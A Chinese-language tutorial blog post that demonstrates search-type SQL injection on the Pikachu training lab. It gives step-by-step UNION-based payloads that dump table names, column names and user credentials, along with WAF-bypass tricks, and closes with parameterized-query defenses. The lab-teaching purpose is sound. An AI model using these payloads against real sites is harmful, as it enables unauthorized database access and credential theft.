大家好我是专注于网络安全技术分享的博主。在渗透测试和漏洞挖掘的学习过程中SQL注入无疑是Web安全领域的“常青树”而搜索型注入作为一种常见的注入场景其闭合方式与常规注入略有不同常常让初学者感到困惑。本文将以经典的Pikachu靶场为实战环境深度复盘一次完整的“搜索型注入”漏洞利用过程重点剖析union联合查询与%字符型闭合的技巧。无论你是刚入门安全的新手还是想巩固基础原理的开发者都能通过本文掌握从漏洞探测到数据窃取的全链路实操方法。1. 背景与核心概念什么是搜索型注入在深入实战之前我们有必要厘清几个核心概念理解“搜索型注入”的特殊性。1.1 SQL注入的本质SQL注入SQL Injection是一种将恶意的SQL代码插入或“注入”到应用程序的输入参数中从而欺骗后端数据库执行非预期命令的Web安全漏洞。其根本原因在于程序没有对用户输入的数据进行充分的过滤、验证或转义便直接拼接到了SQL查询语句中。1.2 搜索型注入 vs. 普通注入普通的SQL注入场景多发生在登录、详情查看等固定查询中例如SELECT * FROM users WHERE id ‘用户输入’;而搜索型注入通常出现在网站的搜索功能中其后台SQL语句结构更为复杂。例如一个搜索用户名的功能其原始查询可能如下SELECT * FROM users WHERE username LIKE ‘%用户输入%’;这里的%是SQL中的通配符表示匹配任意字符。关键区别在于闭合方式普通注入可能只需要闭合一个单引号’而搜索型注入需要同时处理语句中预先存在的%和引号。1.3 Union联合注入的原理UNION操作符用于合并两个或多个SELECT语句的结果集。利用Union进行注入的核心步骤是判断列数通过ORDER BY或UNION SELECT NULL试探使前后SELECT语句的列数一致。判断显示位找出在页面中回显数据的列。获取信息在显示位替换查询获取数据库名、表名、字段名及具体数据。本次靶场实战就是利用Union查询在存在搜索型注入漏洞的环节中逐步获取数据库信息。2. 环境准备与靶场搭建工欲善其事必先利其器。一个稳定、隔离的测试环境是安全学习的基石。2.1 所需环境说明操作系统Windows 10/11 或 Linux (如 Ubuntu Kali Linux)。Web集成环境推荐使用PHPStudy(Windows) 或XAMPP(跨平台)。它们集成了Apache、MySQL、PHP一键部署非常适合初学者。靶场源码Pikachu漏洞测试平台。浏览器Chrome、Firefox等用于访问靶场和利用漏洞。代理工具可选Burp Suite用于拦截和修改HTTP请求更精细地进行注入测试。版本建议本文演示基于PHPStudy 2018(Apache 2.4, PHP 5.4, MySQL 5.5) 和Pikachu最新版。不同版本间可能存在细微差异但核心原理和步骤完全一致。2.2 Pikachu靶场部署步骤下载与解压从Pikachu官方GitHub仓库或可信源下载源码解压到Web服务器的根目录例如PHPStudy的WWW目录。数据库初始化访问http://localhost/phpmyadmin(或你的数据库管理地址)。新建一个数据库命名为pikachu。修改Pikachu源码目录下的/inc/config.inc.php文件确保数据库连接配置正确主机、用户名、密码、数据库名。// 示例配置片段 define(‘DB_HOST‘ ‘localhost‘); define(‘DB_USER‘ ‘root‘); define(‘DB_PWD‘ ‘root‘); // 请根据你的MySQL密码修改 define(‘DB_NAME‘ ‘pikachu‘);安装靶场在浏览器中访问http://localhost/pikachu(具体路径取决于你的解压位置)页面通常会有一个“安装/初始化”的链接点击它来完成数据库表的创建。验证安装安装成功后刷新页面即可看到Pikachu的主界面左侧导航栏包含了各种漏洞模块。完成以上步骤你的本地漏洞测试环境就准备好了。请务必在本地或授权环境中进行所有测试。3. 漏洞探测与闭合方式分析现在我们进入Pikachu靶场的“SQL-Inject”模块找到“搜索型注入(Search)”进行实战。3.1 初步探测与闭合判断在搜索框中随意输入一个关键词如test点击搜索。观察URL和页面回显。我们可以推测后台SQL语句可能为SELECT ... FROM ... WHERE username LIKE ‘%test%‘;我们的目标是构造输入使得整个SQL语句语法正确且能执行我们附加的恶意查询。第一步尝试单引号闭合输入‘(单引号)。页面很可能报错或显示异常如无结果。这初步证实存在注入点且涉及字符串闭合。第二步分析闭合方式原始逻辑是LIKE ‘%输入%‘。如果我们输入test‘语句变成SELECT ... FROM ... WHERE username LIKE ‘%test‘%‘;这会导致一个单引号被遗留语法错误。为了闭合我们需要输入test‘%‘吗不对这样会变成‘%test‘%‘‘%‘依然混乱。正确的思路是我们需要闭合掉第一个%‘和最后一个‘。 构造输入%‘。此时语句变为SELECT ... FROM ... WHERE username LIKE ‘%%‘%‘;看‘%%‘这部分被闭合了但后面又多出一个%‘导致语法错误。我们需要用注释符--(注意后面有个空格) 或#将后面的语句注释掉。第三步使用注释符完成闭合输入%‘ --或%‘ #。 此时语句变为SELECT ... FROM ... WHERE username LIKE ‘%%‘ -- %‘;--之后的所有内容都被注释语法正确页面应正常显示可能显示所有数据因为%%匹配任何内容。关键点对于搜索型注入经典的探测Payload是%‘或‘。通过观察回显差异可以判断注入点。3.2 判断注入类型与数据库输入%‘ and ‘1‘‘1和%‘ and ‘1‘‘2。%‘ and ‘1‘‘1等价于LIKE ‘%%‘ and ‘1‘‘1‘条件永真应正常显示。%‘ and ‘1‘‘2等价于LIKE ‘%%‘ and ‘1‘‘2‘条件永假应无结果显示。 如果两者回显不同则进一步确认存在字符型注入。同时可以通过报错信息或函数探测数据库类型。Pikachu使用MySQL常用探测函数如version()database()。4. Union联合注入完整实战流程确认注入点后我们开始系统的Union注入攻击。4.1 第一步使用ORDER BY判断查询列数Union查询要求前后SELECT语句的列数必须相同。我们通过ORDER BY子句来试探。输入%‘ order by 1 --语句SELECT ... FROM ... WHERE username LIKE ‘%%‘ order by 1 -- %‘结果页面正常说明查询结果至少有一列。输入%‘ order by 2 --结果页面正常。输入%‘ order by 3 --结果页面正常。输入%‘ order by 4 --结果页面正常。输入%‘ order by 5 --结果页面报错或显示异常。 这说明原始查询语句的列数为4列。ORDER BY 4成功而ORDER BY 5失败证明了这一点。4.2 第二步使用Union Select确定显示位知道了列数4列我们构造Union查询找出哪几列的内容会在网页前端显示出来。 输入%‘ union select 1,2,3,4 --语句SELECT ... FROM ... WHERE username LIKE ‘%%‘ union select 1,2,3,4 -- %‘关键由于LIKE ‘%%‘会匹配所有记录导致第一个SELECT结果很多。为了让Union后面的查询结果显示出来我们需要让第一个SELECT查询结果为空。优化Payloadkkk%‘ union select 1,2,3,4 --解释LIKE ‘%kkk%‘匹配不到数据假设没有用户包含‘kkk’第一个SELECT结果为空页面就会显示我们Union查询的结果1,2,3,4。提交后观察页面。通常页面中原本显示数据的地方会被数字2、3等替代。例如可能显示 “你好2” 或 “邮箱是 3”。这些数字就是显示位。假设我们发现数字2和3的位置被回显了这意味着第2列和第3列的数据会输出到页面上。4.3 第三步利用显示位获取数据库信息现在我们可以把显示位2和3替换成我们想查询的数据库函数。获取当前数据库名 输入kkk%‘ union select 1,database(),user(),4 --在显示位2放入database()显示位3放入user()(当前数据库用户)。提交后页面应显示当前数据库名如pikachu和用户名如rootlocalhost。获取数据库中的所有表名 MySQL中information_schema.tables存储了表信息。 输入kkk%‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase() --group_concat()函数将多行结果合并成一个字符串方便查看。table_schemadatabase()条件限定只查询当前数据库的表。提交后显示位2会列出pikachu数据库中的所有表例如httpinfo,member,message,users,xss...。我们需要关注存储用户信息的表如users。获取指定表的所有字段名 假设我们对users表感兴趣。 输入kkk%‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schemadatabase() and table_name‘users‘ --这里table_name‘users‘必须用引号括起来。提交后显示位2会列出users表的所有列例如id,username,password,level。4.4 第四步拖取最终数据用户名与密码知道了表名 (users) 和字段名 (username,password)就可以直接查询数据了。 输入kkk%‘ union select 1,username,password,4 from users --或者为了更清晰地查看 输入kkk%‘ union select 1,concat(username,‘—‘,password),3,4 from users --concat()函数用于拼接字符串这里将用户名和密码用—连接显示。 提交后页面就会显示所有用户的用户名和密码通常是MD5哈希值。至此一次完整的Union联合注入攻击就成功了。5. 常见问题与排查思路FAQ在实战过程中你可能会遇到以下问题问题现象可能原因解决思路输入‘或%‘后页面空白或500错误1. 靶场环境配置错误如PHP版本过高magic_quotes_gpc配置。2. 注入点判断错误可能不是字符型注入。1. 检查PHPStudy配置确保运行在PHP 5.x 环境。2. 尝试数字型注入探测1 and 11,1 and 12。ORDER BY测试时无论数字多大都正常原始查询列数非常多超过了你的测试范围。尝试更大的数字如order by 10,order by 20直到报错。也可以使用union select null,null,...不断添加null来试探。Union select后页面不显示数字1. 第一个SELECT语句仍有结果覆盖了Union查询。2. 显示位不在你猜测的列。3. 页面仅在某处显示数据需要查看网页源代码。1. 确保第一个查询无结果如用不存在的关键词kkk。2. 尝试将union select 1,2,3,4中的数字换成有辨识度的字符串如union select ‘a‘,‘b‘,‘c‘,‘d‘。3. 按F12打开开发者工具在“元素”或“源代码”中搜索你注入的数字或字母。知道显示位但执行database()不显示库名可能存在WAFWeb应用防火墙或简单的过滤拦截了某些函数或关键字。1. 尝试大小写绕过DaTaBaSe()。2. 尝试注释符绕过/**/代替空格如union/**/select。3. 使用编码或双写绕过视具体过滤规则而定。获取表名时information_schema被禁用极少数严格环境下可能无法访问information_schema。这是较难的情况可能需要利用盲注、报错注入或已知的数据库特性进行猜解。在Pikachu靶场中不会遇到。6. 防御方案与最佳实践开发者视角作为开发者了解攻击手段是为了更好地防御。以下是如何从根本上防止此类搜索型注入的建议6.1 原则永远不要信任用户输入这是安全编程的第一准则。所有来自客户端浏览器、APP的数据都应视为不可信的。6.2 最佳实践一使用参数化查询预编译语句这是最有效的防御手段。它将SQL代码与数据分离数据库引擎不会将输入的内容解析为SQL指令。PHP (PDO) 示例$pdo new PDO(‘mysql:hostlocalhost;dbnamepikachu‘, ‘root‘, ‘root‘); $keyword ‘%‘ . $_GET[‘keyword‘] . ‘%‘; // 用户输入 $stmt $pdo-prepare(“SELECT * FROM users WHERE username LIKE :keyword”); $stmt-bindParam(‘:keyword‘, $keyword); $stmt-execute(); $results $stmt-fetchAll(PDO::FETCH_ASSOC);PHP (MySQLi) 示例$mysqli new mysqli(‘localhost‘, ‘root‘, ‘root‘, ‘pikachu‘); $keyword ‘%‘ . $_GET[‘keyword‘] . ‘%‘; $stmt $mysqli-prepare(“SELECT * FROM users WHERE username LIKE ?”); $stmt-bind_param(‘s‘, $keyword); // ‘s‘ 表示字符串类型 $stmt-execute(); $result $stmt-get_result();6.3 最佳实践二对输入进行严格的过滤与转义如果因历史原因无法使用参数化查询必须进行严格的过滤。类型检查对于数字型参数使用intval()强制转换。转义特殊字符使用数据库特定的转义函数如mysqli_real_escape_string()。$keyword ‘%‘ . $mysqli-real_escape_string($_GET[‘keyword‘]) . ‘%‘; $sql “SELECT * FROM users WHERE username LIKE ‘$keyword‘“;注意转义并非绝对安全在复杂场景或特定编码下可能被绕过优先使用参数化查询。6.4 最佳实践三最小权限原则用于连接数据库的应用程序账号不应拥有root或DBA权限。只授予其完成业务所必需的最小权限如仅SELECT权限这样即使发生注入攻击者也无法进行删表、写文件等高危操作。6.5 最佳实践四使用Web应用防火墙WAF在应用层前部署WAF可以过滤常见的攻击Payload如SQL注入、XSS等。这属于纵深防御的一环但不能替代代码层面的安全修复。6.6 最佳实践五定期安全审计与漏洞扫描对代码进行人工审计或使用自动化工具如SAST进行扫描并定期对线上系统进行渗透测试主动发现潜在漏洞。通过本次对Pikachu靶场搜索型注入的深度复盘我们不仅掌握了利用%‘进行字符闭合和Union查询进行数据窃取的具体技术步骤更重要的是从攻击者视角理解了漏洞成因。对于开发者而言务必在代码层面采用参数化查询等根本性防御措施对于安全学习者应在合法授权的环境中不断练习将原理与实践结合才能真正提升安全攻防能力。